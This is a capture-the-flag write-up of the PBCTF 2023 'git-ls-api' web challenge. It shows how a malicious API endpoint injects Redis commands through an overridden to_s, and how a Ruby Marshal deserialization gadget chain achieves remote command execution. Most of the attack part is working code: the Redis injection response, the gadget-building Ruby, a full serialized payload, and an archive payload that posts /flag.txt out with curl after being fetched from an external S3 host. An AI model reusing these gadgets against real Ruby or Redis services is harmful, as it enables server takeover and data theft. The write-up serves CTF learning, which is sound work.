PBCTF23: git-ls-api

8 minute read / 2023-02-24

This is a writeup of my solution to the 4th WEB challenge of the Perfect Blue CTF 2023. We were the first team to solve it.

The challenge description was fairly minimal, consisting of only of a web application URL: http://git-ls-api.chal.perfect.blue/ and its source code: handout.zip.

The application acts as a simple caching service backed by Redis. A user can make requests to view files inside of a specific repository along side the commit's sha. The response is then stored inside of the cache. The user can also specify which endpoint to make requests to through the api_endpoint parameter.

def client
  @client ||= Octokit::Client.new(api_endpoint: api_endpoint)
end

def repo_files
  Rails.cache.fetch(files_cache_key, expires_in: 5.minutes, raw: true) do
    client.tree(repo, 'HEAD').tree.map { |entry| entry.path }.join(', ')
  end
end

def repo_sha
  Rails.cache.fetch(sha_cache_key, expires_in: 5.minutes, raw: true) do
    client.tree(repo, 'HEAD').sha
  end
end

One note worthy feature is how the service stores distributed sessions inside of Redis.

class ApplicationController < ActionController::Base
  before_action :session

  def session
    Rails.cache.fetch(session_id, expires_in: 5.minutes) do
      { created_at: DateTime.now }
    end.to_json
  end

  def session_id
    @session_id ||= begin
      cookies[:session] = SecureRandom.hex(32) unless cookies[:session]&.match(/\A[0-9a-f]{64}\z/)
      cookies[:session]
    end
  end
end

A majour difference between the latter two snippets is how they store and load data from the caches: the responses from the Octokit client are stored as their string representation (as per raw: true), while the sessions are marshaled and unmarshaled whenever we interact with Redis.

Marshaling in Ruby is known to be vulnerable to several exploits.

Arbitrary reads and writes to the Redis instance

Although we cannot directly control the session content, we can control what will be stored inside of Redis, as we can redirect the API calls a malicious endpoint serving malformed or otherwise incorrect responses.

Returning the following JSON response:

{
  "sha": ["foo": "bar"],
  "tree": [{"path": "deadbeef"}],
}

would yield this as a response, and the content of sha would be stored inside of Redis.

{ "sha": "#\u003cSawyer::Resource:0x00007f6c790600f8\u003e", "files": "" }

Sawyer is used by the Octokit client for handling responses. It takes a JSON hash and converts it into a Ruby class that has methods matching all of the keys. This feature can be exploited to override standard methods, like the string representation method to_s. This has been successfully exploited in the past, as reported here and here.

As discussed previously, controlling the string representation of a value allows us to modify what is sent to Redis by the library, which uses the RESP protocol.

A set operation in Redis client library for Ruby executes the following instructions when talking to a Redis instance:

*5
$3
SET
$3
KEY
$5
VALUE
$2
PX
$6
300000

For KEY and VALUE the library uses the string representation of whatever object is passed as part of the argument to the build_command function.

Pipelining can be exploited in order to execute more than one Redis instruction. By controlling the string representation of VALUE we can append an arbitrary amount of commands to the orginal command, which can then forwarded to the Redis instance as a single block of operations.

Putting it (mostly) all together, we can gain arbitrary reads and writes to the Redis instance by forging the following respones:

const key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
const value = "deadbeef";
const command = `foo\r\n$2\r\nPX\r\n$6\r\n300000\r\n*3\r\n$3\r\nSET\r\n$64\r\n${key}\r\n$${value.length}\r\n${value}`;

const response = {
  tree: [],
  sha: {
    to_s: {
      to_s: {
        to_s: {
          b: {
            to_s: command,
            bytesize: 3,
          },
        },
      },
    },
  },
};

*5
$3
SET
$3
KEY
$3
foo
$2
PX
$6
300000
*3
$3
SET
$64
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$8
deadbeef

The next few steps

The next steps are to craft a gadget which we can inject into Redis to gain remote command execution.

After a few unlucky Google searches - which brought gadgets only working for previous versions of Ruby - we managed to stuble across this blog post, which coincidentally written by the challenge's author, explained step by step on how to craft such a gadget (and for the correct version of Ruby too!).

While the steps are described more thoroughly in the article, it essentialy boils down to two steps:

Crafting a malicious .rz archive which then can be accessed through HTTPS.

def generate_rz_file(payload)
  require "zlib"
  spec = Marshal.dump(Gem::Specification.new("bundler"))

  out = Zlib::Deflate.deflate(spec + "\"]\n" + payload + "\necho ref;exit 0;\n")

  File.write("a.rz", out)
end

generate_rz_file("curl ... -d@/flag.txt")

Creating a malicious marshaled binary object that when unmarshaled exploits a series of automatically executed routines to download and execute the contents of the malicious archive.

def create_folder
  uri = URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", "myawesomebucket.s3.amazonaws.com/a.rz?")
  uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
  uri.instance_variable_set("@user", "user")
  uri.instance_variable_set("@password", "password")

  spec = Gem::Source.allocate
  spec.instance_variable_set("@uri", uri)
  spec.instance_variable_set("@update_cache", true)

  request = Gem::Resolver::IndexSpecification.allocate
  request.instance_variable_set("@name", "name")
  request.instance_variable_set("@source", spec)

  s = [request]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies", [])

  l
end

def git_gadget(git, reference)
  gsg = Gem::Source::Git.allocate
  gsg.instance_variable_set("@git", git)
  gsg.instance_variable_set("@reference", reference)
  gsg.instance_variable_set("@root_dir", "/tmp")
  gsg.instance_variable_set("@repository", "vakzz")
  gsg.instance_variable_set("@name", "aaa")

  basic_spec = Gem::Resolver::Specification.allocate
  basic_spec.instance_variable_set("@name", "name")
  basic_spec.instance_variable_set("@dependencies", [])

  git_spec = Gem::Resolver::GitSpecification.allocate
  git_spec.instance_variable_set("@source", gsg)
  git_spec.instance_variable_set("@spec", basic_spec)

  spec = Gem::Resolver::SpecSpecification.allocate
  spec.instance_variable_set("@spec", git_spec)

  spec
end

def popen_gadget
  spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec" })
  spec2 = git_gadget("sh", {})

  s = [spec1, spec2]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies", [])

  l
end

def to_s_wrapper(inner)
  s = Gem::Specification.new
  s.instance_variable_set("@new_platform", inner)
  s
end

folder_gadget = create_folder
exec_gadget = popen_gadget

gadget = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])

print gadget.dump

Sadly, this isn't the end... but we are getting closer!

The 5 stages of grief

Unfortunately, calling .to_json on thegadget object would return a 'to_json': source sequence is illegal/malformed utf-8 (JSON::GeneratorError) error. This was due to the fact that the marshaled object contained bytes that were not representable by UTF-8.

A good hint

The payload was slightly modified (totally not by randomly changing bytes that were causing errors) until it could be encoded correctly to UTF-8.

\u0004\b[\bc\u0015Gem::SpecFetcheru:\u0017Gem::Specification\u0002L\u0002\u0004\b[\u0018I\"\n3.3.7\u0006:\u0006ETi\t00Iu:\tTime\r`A\u001eA\u0000\u0000\u0000\u0000\u0006:\tzoneI\"\bUTC\u0006;\u0000F0U:\u0015Gem::Requirement[\u0006[\u0006[\u0007I\"\u0007>=\u0006;\u0000TU:\u0011Gem::Version[\u0006I\"\u00060\u0006;\u0000FU;\b[\u0006[\u0006@\f0[\u0000I\"\u0000\u0006;\u0000T0[\u000000To:\u001eGem::RequestSet::Lockfile\u0007:\t@seto:\u0014Gem::RequestSet\u0006:\f@sorted[\u0006o:&Gem::Resolver::IndexSpecification\u0007:\n@nameI\"\tname\u0006;\u0000T:\f@sourceo:\u0010Gem::Source\u0007:\t@urio:\u000eURI::HTTP\u000b:\n@pathI\"\u0006/\u0006;\u0000T:\f@schemeI\"\u0007s3\u0006;\u0000T:\n@hostI\"#myawesomebucket.s3.amazonaws.com/a.rz?\u0006;\u0000T:\n@portI\"v/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/\u0006;\u0000T:\n@userI\"\tuser\u0006;\u0000T:\u000e@passwordI\"\rpassword\u0006;\u0000T:\u0012@update_cacheT:\u0012@dependencies[\u0000[\u0000{\u0000u;\u0000\u0002I\u0003\u0004\b[\u0018I\"\n3.3.7\u0006:\u0006ETi\t00Iu:\tTime\r`A\u001eA\u0000\u0000\u0000\u0000\u0006:\tzoneI\"\bUTC\u0006;\u0000F0U:\u0015Gem::Requirement[\u0006[\u0006[\u0007I\"\u0007>=\u0006;\u0000TU:\u0011Gem::Version[\u0006I\"\u00060\u0006;\u0000FU;\b[\u0006[\u0006@\f0[\u0000I\"\u0000\u0006;\u0000T0[\u000000To:\u001eGem::RequestSet::Lockfile\u0007:\t@seto:\u0014Gem::RequestSet\u0006:\f@sorted[\u0007o:%Gem::Resolver::SpecSpecification\u0006:\n@speco:$Gem::Resolver::GitSpecification\u0007:\f@sourceo:\u0015Gem::Source::Git\n:\t@gitI\"\btee\u0006;\u0000T:\u000f@reference{\u0006:\u0007inI\"h/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec\u0006;\u0000T:\u000e@root_dirI\"\t/tmp\u0006;\u0000T:\u0010@repositoryI\"\nvakzz\u0006;\u0000T:\n@nameI\"\baaa\u0006;\u0000T;\u000fo:!Gem::Resolver::Specification\u0007;\u0018I\"\tname\u0006;\u0000T:\u0012@dependencies[-i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006o;\u000e\u0006;\u000fo;\u0010\u0007;\u0011o;\u0012\n;\u0013I\"\u0007sh\u0006;\u0000T;\u0014{\u0000;\u0016I\"\t/tmp\u0006;\u0000T;\u0017I\"\nvakzz\u0006;\u0000T;\u0018I\"\baaa\u0006;\u0000T;\u000fo;\u0019\u0007;\u0018I\"\tname\u0006;\u0000T;\u001a[-i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006i\u0006i\u0007i\bi\ti\u0006;\u001a[\u0000[\u0000{\u0000

$ curl 'http://git-ls-api.chal.perfect.blue/torvalds/linux?api_endpoint=<MALICIOUS_ENDPOINT>' \
  --cookie 'session=<SESSION_ID>'